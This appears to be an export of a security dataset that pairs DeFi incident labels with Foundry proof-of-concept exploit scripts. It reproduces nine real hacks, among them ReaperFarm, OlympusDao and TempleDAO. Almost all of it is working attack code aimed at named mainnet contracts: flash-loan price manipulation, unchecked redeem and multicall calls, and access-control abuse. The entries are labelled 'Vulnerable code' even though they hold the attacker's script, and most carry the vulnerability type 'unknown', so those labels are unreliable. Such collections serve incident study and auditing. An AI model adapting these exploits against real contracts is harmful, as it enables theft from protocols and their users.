Farseen0/scar-pairs huggingface dataset:
HIGH severity: ReaperFarm exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~1.7M US$ Attacker : 0x5636e55e4a72299a0f194c001841e2ce75bb527a (ReaperFarm Exploiter 1 - who trigger the exploit) Attacker : 0x2c177d20b1b1d68cc85d3215904a7bb6629ca954 (ReaperFarm Exploiter 2 - who receive the fund) AttackContract : 0x8162

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~1.7M US$
// Attacker : 0x5636e55e4a72299a0f194c001841e2ce75bb527a (ReaperFarm Exploiter 1 - who trigger the exploit)
// Attacker : 0x2c177d20b1b1d68cc85d3215904a7bb6629ca954 (ReaperFarm Exploiter 2 - who receive the fund)
// AttackContract : 0x8162a5e187128565ace634e76fdd083cb04d0145
// VulnerableContract : https://ftmscan.com/address/0xcdA5deA176F2dF95082f4daDb96255Bdb2bc7C7D#code#F1#L324 (rfUSDC)

// @Info
// Example Tx in this reproduce : https://ftmscan.com/tx/0xc92ls9f3b9312ff26be0adb1c3ff832dbdafdcbcaad33d002744effd515e53c9d5
// Owner 1 : 0x59cb9f088806e511157a6c92b293e5574531022a
// Owner 2 : 0xc010adc2c28a66fbb2107993bf6ede264eca8e54
// Owner 3 : 0x37eedb7ac276bd6c894e81b8937b0b0bab154e22
// Owner 4 : 0x8034aaff3980487a49ca69341d444fcc000088af
// Owner 5 : 0x9e6affa8a14174ca4e931a2d6b7056c41b9beeb6

// @Analysis
// Official post-mortem : https://twitter.com/Reaper_Farm/status/1554500909740302337
// Beosin : https://twitter.com/BeosinAlert/status/1554476940593340421

contract Attacker is Test {
    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IReaperVaultV2 constant ReaperVault = IReaperVaultV2(0xcdA5deA176F2dF95082f4daDb96255Bdb2bc7C7D);
    IERC20 constant USDC = IERC20(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);

    function setUp() public {
        console.log("This is a simple PoC that shows how attacker abuse the ReaperVaultV2 contract");
        cheat.createSelectFork("fantom", 44_045_899);
        cheat.label(address(ReaperVault), "ReaperVault");
        cheat.label(address(USDC), "USDC");
    }

    function testExploit() public {
        address victim = 0x59cb9F088806E511157A6c92B293E5574531022A;
        emit log_named_decimal_uint("Victim ReaperUSDCVault balance", ReaperVault.balanceOf(victim), 6);
        emit log_named_decimal_uint("Attacker USDC balance", USDC.balanceOf(address(this)), 6);

        console.log("Exploit...");
        uint256 victim_bal = ReaperVault.balanceOf(victim);
        ReaperVault.redeem(victim_bal, address(this), victim);

        emit log_named_decimal_uint("Victim ReaperUSDCVault balance", ReaperVault.balanceOf(victim), 6);
        emit log_named_decimal_uint("Attacker USDC balance", USDC.balanceOf(address(this)), 6);
    }
}

interface IReaperVaultV2 {
    function balanceOf(
        address owner
    ) external view returns (uint256);
    function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);
}


Vulnerability type: unknown
HIGH severity: RADT exploit (unknown). 

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IWRAP {
    function withdraw(address from, address to, uint256 amount) external;
}

interface IDODO {
    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;

    function _BASE_TOKEN_() external view returns (address);
}

contract ContractTest is Test {
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 RADT = IERC20(0xDC8Cb92AA6FC7277E3EC32e3f00ad7b8437AE883);
    Uni_Pair_V2 pair = Uni_Pair_V2(0xaF8fb60f310DCd8E488e4fa10C48907B7abf115e);
    IWRAP wrap = IWRAP(0x01112eA0679110cbc0ddeA567b51ec36825aeF9b);
    address constant dodo = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 21_572_418);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);

        USDT.approve(address(Router), ~uint256(0));
        RADT.approve(address(Router), ~uint256(0));
        IDODO(dodo).flashLoan(0, 200_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        buyRADT();
        USDT.transfer(address(pair), 1);
        uint256 amount = RADT.balanceOf(address(pair)) * 100 / 9;
        wrap.withdraw(address(0x68Dbf1c787e3f4C85bF3a0fd1D18418eFb1fb0BE), address(pair), amount);
        pair.sync();
        sellRADT();
        USDT.transfer(address(dodo), 200_000 * 1e18);
    }

    function buyRADT() public {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(RADT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            1000 * 1e18, 0, path, address(this), block.timestamp
        );
    }

    function sellRADT() public {
        address[] memory path = new address[](2);
        path[0] = address(RADT);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            RADT.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: Shadowfi exploit (unknown). 

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface ISDF {
    function burn(address, uint256) external;
    function balanceOf(
        address owner
    ) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
}

interface IPair {
    function sync() external;
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    ISDF SDF = ISDF(0x10bc28d2810dD462E16facfF18f78783e859351b);
    IPair Pair = IPair(0xF9e3151e813cd6729D52d9A0C3ee69F22CcE650A);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 20_969_095);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);

        address(WBNB).call{value: 0.01 ether}("");
        WBNBToSDF();
        SDF.burn(address(Pair), SDF.balanceOf(address(Pair)) - 1);
        Pair.sync();
        SDFToWBNB();

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function WBNBToSDF() public {
        WBNB.approve(address(Router), ~uint256(0));
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(SDF);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        SDF.approve(address(Router), ~uint256(0));
    }

    function SDFToWBNB() public {
        address[] memory path = new address[](2);
        path[0] = address(SDF);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            SDF.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: THB exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

interface HouseWallet {
    function winners(uint256 id, address player) external view returns (uint256);
    function claimReward(
        uint256 _ID,
        address payable _player,
        uint256 _amount,
        bool _rewardStatus,
        uint256 _x,
        string memory name,
        address _add
    ) external;
    function shoot(
        uint256 random,
        uint256 gameId,
        bool feestate,
        uint256 _x,
        string memory name,
        address _add,
        bool nftcheck,
        bool dystopianCheck
    ) external payable;
}

contract ContractTest is Test {
    HouseWallet houseWallet = HouseWallet(0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53);
    uint256 randomNumber = 12_345_678_000_000_000_000_000_000;

    uint256 gameId = 1;
    bool feestate = false;
    // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate
    uint256 _x = 2_845_798_969_920_214_568_462_001_258_446;
    string name = "HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS";
    address _add = 0x6Ee709bf229c7C2303128e88225128784c801ce1;

    bool nftcheck = true;
    bool dystopianCheck = true;

    address payable add = payable(address(this));
    bool _rewardStatus = true;
    // sha256(abi.encode(_x, name, _add)) == hashValue  maybe off-chain calculate
    uint256 _x1 = 969_820_990_102_090_205_468_486;
    string name1 = "WELCOMETOTHUNDERBRAWLROULETTENOWYOUWINTHESHOOTINGGAME";

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC721 THBR = IERC721(0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C); // Thunderbrawl Roulette Contract

    function setUp() public {
        cheats.createSelectFork("bsc", 21_785_004);
    }

    function testExploit() public {
        emit log_named_uint("Attacker THBR balance before exploit", THBR.balanceOf(address(this)));

        houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck);
        uint256 _amount = houseWallet.winners(gameId, add);
        houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);

        emit log_named_uint("Attacker THBR balance after exploit", THBR.balanceOf(address(this)));
    }

    receive() external payable {}

    function onERC721Received(
        address _operator,
        address _from,
        uint256 _tokenId,
        bytes calldata _data
    ) external payable returns (bytes4) {
        uint256 _amount = houseWallet.winners(gameId, add);
        if (address(houseWallet).balance >= _amount * 2) {
            houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);
        }
        return this.onERC721Received.selector;
    }
}


Vulnerability type: unknown
HIGH severity: Yyds exploit (unknown). 

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface TargetClaim {
    function claim(
        address
    ) external;
}

interface TargetWithdraw {
    function withdrawReturnAmountByMerchant() external;
    function withdrawReturnAmountByConsumer() external;
    function withdrawReturnAmountByReferral() external;
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 YYDS = IERC20(0xB19463ad610ea472a886d77a8ca4b983E4fAf245);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xd5cA448b06F8eb5acC6921502e33912FA3D63b12);
    TargetClaim targetClaim = TargetClaim(0xe70cdd37667cdDF52CabF3EdabE377C58FaE99e9);
    TargetWithdraw targetWihtdraw = TargetWithdraw(0x970A76aEa6a0D531096b566340C0de9B027dd39D);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    uint256 reserve0;
    uint256 reserve1;

    function setUp() public {
        cheats.createSelectFork("bsc", 21_157_025);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);

        (reserve0, reserve1,) = Pair.getReserves();
        uint256 amount0Out = USDT.balanceOf(address(Pair));
        Pair.swap(amount0Out - 1 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        emit log_named_decimal_uint("Attacker YYDS balance before exploit", YYDS.balanceOf(address(this)), 18);

        targetClaim.claim(address(this));
        try targetWihtdraw.withdrawReturnAmountByReferral() {} catch {}
        try targetWihtdraw.withdrawReturnAmountByMerchant() {} catch {}
        try targetWihtdraw.withdrawReturnAmountByConsumer() {} catch {}

        emit log_named_decimal_uint("Attacker YYDS balance after exploit", YYDS.balanceOf(address(this)), 18);

        uint256 yydsInContract = YYDS.balanceOf(address(this));
        YYDS.transfer(address(Pair), yydsInContract);
        uint256 yydsInPair = YYDS.balanceOf(address(Pair));
        uint256 amountUsdt =
            (reserve0 * reserve1 / ((yydsInPair * 10_000 - yydsInContract * 25) / 10_000)) / 9975 * 10_000;
        USDT.transfer(address(Pair), amountUsdt);
    }
}


Vulnerability type: unknown
HIGH severity: MulticallWithoutCheck exploit (unknown). SPDX-License-Identifier: UNLICENSED Address https://polygonscan.com/address/0x940ce652a51ebadb5df09d605dbeda95fdcf697b

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// Address https://polygonscan.com/address/0x940ce652a51ebadb5df09d605dbeda95fdcf697b
interface Target {
    struct Call {
        address target;
        bytes callData;
        uint256 value;
    }

    function multicallWithoutCheck(
        Call[] memory calls
    ) external;
}

contract ContractTest is Test {
    struct Call {
        address target;
        bytes callData;
        uint256 value;
    }

    Target target = Target(0x940cE652A51EBadB5dF09d605dBEDA95fDcF697b);
    IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("polygon", 34_743_770);
    }

    function testExploit() public {
        uint256 USDTBlance = USDT.balanceOf(address(target));
        bytes memory data = abi.encodeWithSignature("transfer(address,uint256)", address(this), USDTBlance);
        Target.Call memory inputData = Target.Call({target: address(USDT), callData: data, value: 0});
        Target.Call[] memory calls = new Target.Call[](1);
        calls[0] = inputData;
        target.multicallWithoutCheck(calls);

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6);
    }
}


Vulnerability type: unknown
HIGH severity: OlympusDao exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~$292K (30,437 OHM) Attacker : 0x443cf223e209e5a2c08114a2501d8f0f9ec7d9be Attack Contract : 0xa29e4fe451ccfa5e7def35188919ad7077a4de8f Vulnerable Contract : 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156 Attack Tx : https://etherscan.io/tx/0x3e

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$292K (30,437 OHM)
// Attacker : 0x443cf223e209e5a2c08114a2501d8f0f9ec7d9be
// Attack Contract : 0xa29e4fe451ccfa5e7def35188919ad7077a4de8f
// Vulnerable Contract : 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156
// Attack Tx : https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156#code#F1#L137

// @Analysis
// Twitter PeckShield : https://twitter.com/peckshield/status/1583416829237526528
// Article by Shashank : https://blog.solidityscan.com/olympus-dao-hack-analysis-f07d2a64f5ee
// Article by 0xbanky : https://mirror.xyz/0xbanky.eth/c7G9ZfTB8pzQ5cCMw5UhdFehmR6l0fVqd_B-ZuXz2_o

address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;
address constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;

interface IBondFixedExpiryTeller {
    function redeem(address token_, uint256 amount_) external;
}

contract FakeToken {
    function underlying() external pure returns (address) {
        return OHM;
    }

    function expiry() external pure returns (uint48 _expiry) {
        return 1;
    }

    function burn(address, uint256) external pure {
        // do nothing
    }
}

contract AttackContract is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 15_794_363);
        vm.label(OHM, "OHM");
        vm.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");
    }

    function testExploit() public {
        console.log("---------- Start from block %s ----------", block.number);
        emit log_named_decimal_uint("Attacker OHM balance", IERC20(OHM).balanceOf(address(this)), 9);

        address fakeToken = address(new FakeToken());

        uint256 ohmBalance = IERC20(OHM).balanceOf(BondFixedExpiryTeller);
        IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, ohmBalance);
        console.log("Redeeming...");
        emit log_named_decimal_uint("Attacker OHM balance after hack", IERC20(OHM).balanceOf(address(this)), 9);
    }
}


Vulnerability type: unknown
HIGH severity: PLTD exploit (unknown). SPDX-License-Identifier: MIT @Analysis https://twitter.com/BeosinAlert/status/1582181583343484928 TX https://bscscan.com/tx/0x8385625e9d8011f4ad5d023d64dc7985f0315b6a4be37424c7212fe4c10dafe0

Vulnerable code:
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BeosinAlert/status/1582181583343484928
// TX
// https://bscscan.com/tx/0x8385625e9d8011f4ad5d023d64dc7985f0315b6a4be37424c7212fe4c10dafe0

contract ContractTest is Test {
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 PLTD = IERC20(0x29b2525e11BC0B0E9E59f705F318601eA6756645);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x4397C76088db8f16C15455eB943Dd11F2DF56545);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address constant dodo1 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;
    address constant dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 22_252_045);
    }

    function testExploit() external {
        USDT.approve(address(Router), type(uint256).max);
        PLTD.approve(address(Router), type(uint256).max);
        DVM(dodo1).flashLoan(0, 220_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        if (msg.sender == dodo1) {
            DVM(dodo2).flashLoan(0, 440_000 * 1e18, address(this), new bytes(1));
            USDT.transfer(dodo1, 220_000 * 1e18);
        }
        if (msg.sender == dodo2) {
            USDTToPLTD();
            uint256 amount = PLTD.balanceOf(address(Pair));
            PLTD.transfer(address(Pair), amount * 2 - 1);
            Pair.skim(address(this));
            PLTD.transfer(tx.origin, 1e18);
            PLTDToUSDT();
            USDT.transfer(dodo2, 440_000 * 1e18);
        }
    }

    function USDTToPLTD() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(PLTD);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            660_000 * 1e18, 0, path, address(this), block.timestamp
        );
    }

    function PLTDToUSDT() internal {
        address[] memory path = new address[](2);
        path[0] = address(PLTD);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            PLTD.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: Templedao exploit (access-control). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : $~2.3M Attacker : 0x9c9fb3100a2a521985f0c47de3b4598dafd25b01 Attack Contract : https://etherscan.io/address/0x2df9c154fe24d081cfe568645fb4075d725431e0 Vulnerable Contract : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d6513

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : $~2.3M
// Attacker : 0x9c9fb3100a2a521985f0c47de3b4598dafd25b01
// Attack Contract : https://etherscan.io/address/0x2df9c154fe24d081cfe568645fb4075d725431e0
// Vulnerable Contract : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941
// Attack Tx : https://etherscan.io/tx/0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b5

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941#code#F1#L241

// @Analysis
// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1579843881893769222
// Twitter FrankResearcher : https://twitter.com/FrankResearcher/status/1579840347647414272
// Twitter Spreek : https://twitter.com/spreekaway/status/1579836562338361345
// Rekt news : https://rekt.news/templedao-rekt/
// Root cause: Insufficient access control of the `migrateStake()` function.

interface IStaxLPStaking {
    function migrateStake(address oldStaking, uint256 amount) external;
    function withdrawAll(
        bool claim
    ) external;
}

contract ContractTest is Test {
    IERC20 constant xFraxTempleLP = IERC20(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9);
    IStaxLPStaking constant StaxLPStaking = IStaxLPStaking(0xd2869042E12a3506100af1D192b5b04D65137941);

    function setUp() public {
        vm.createSelectFork("mainnet", 15_725_066);
        // Adding labels to improve stack traces' readability
        vm.label(address(xFraxTempleLP), "xFraxTempleLP");
        vm.label(address(StaxLPStaking), "StaxLPStaking");
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "[Start] Attacker xFraxTempleLP balance before exploit", xFraxTempleLP.balanceOf(address(this)), 18
        );

        uint256 lpbalance = xFraxTempleLP.balanceOf(address(StaxLPStaking));

        // Perform migrateStake()
        StaxLPStaking.migrateStake(address(this), lpbalance);

        // Perform withdrawAll()
        StaxLPStaking.withdrawAll(false);

        emit log_named_decimal_uint(
            "[End] Attacker xFraxTempleLP balance after exploit", xFraxTempleLP.balanceOf(address(this)), 18
        );
    }

    function migrateWithdraw(
        address,
        uint256
    )
        public //callback
    {}
}


Vulnerability type: access-control